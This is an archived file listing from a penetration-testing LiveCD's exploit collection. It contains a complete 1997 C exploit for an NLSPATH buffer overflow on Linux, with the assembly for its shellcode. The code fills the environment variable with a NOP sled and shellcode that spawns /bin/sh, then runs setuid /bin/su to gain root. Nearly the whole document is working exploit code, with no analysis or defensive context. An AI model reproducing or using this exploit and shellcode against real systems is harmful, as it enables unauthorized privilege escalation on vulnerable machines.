home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / nlspath.txt < prev    next >
Text File  |  2005-02-12  |  1KB  |  97 lines

  1.  
  2.  
  3. --- nlspath.c ---
  4.  
  5. /*
  6.  * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1
  7.  * Copyright (c) 1997 by Solar Designer
  8.  */
  9.  
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <unistd.h>
  13.  
  14. char *shellcode =
  15.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  16.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  17.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  18.   "\xcd\x80/"
  19.   "/bin/sh"
  20.   "0";
  21.  
  22. char *get_sp() {
  23.    asm("movl %esp,%eax");
  24. }
  25.  
  26. #define bufsize 2048
  27. char buffer[bufsize];
  28.  
  29. main() {
  30.   int i;
  31.  
  32.   for (i = 0; i < bufsize - 4; i += 4)
  33.     *(char **)&buffer[i] = get_sp() - 3072;
  34.  
  35.   memset(buffer, 0x90, 512);
  36.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  37.  
  38.   buffer[bufsize - 1] = 0;
  39.  
  40.   setenv("NLSPATH", buffer, 1);
  41.  
  42.   execl("/bin/su", "/bin/su", NULL);
  43. }
  44.  
  45. --- nlspath.c ---
  46.  
  47. And the shellcode separately:
  48.  
  49. --- shellcode.s ---
  50.  
  51. .text
  52. .globl shellcode
  53. shellcode:
  54. xorl %eax,%eax
  55. movb $0x31,%al
  56. int $0x80
  57. xchgl %eax,%ebx
  58. xorl %eax,%eax
  59. movb $0x17,%al
  60. int $0x80
  61. .byte 0x68
  62. popl %ecx
  63. popl %eax
  64. jmp *%ecx
  65. call *%esp
  66. xorl %eax,%eax
  67. cltd
  68. movl %ecx,%edi
  69. movb $'/'-1,%al
  70. incl %eax
  71. scasb %es:(%edi),%al
  72. jne -3
  73. movl %edi,(%ecx)
  74. movl %edx,4(%ecx)
  75. movl %edi,%ebx
  76. incl %eax
  77. scasb %es:(%edi),%al
  78. jne -3
  79. movb %dl,-1(%edi)
  80. movb $0x0B,%al
  81. int $0x80
  82. xorl %eax,%eax
  83. incl %eax
  84. xorl %ebx,%ebx
  85. int $0x80
  86. .byte '/'
  87. .string "/bin/sh0"
  88.  
  89. --- shellcode.s ---
  90.  
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97.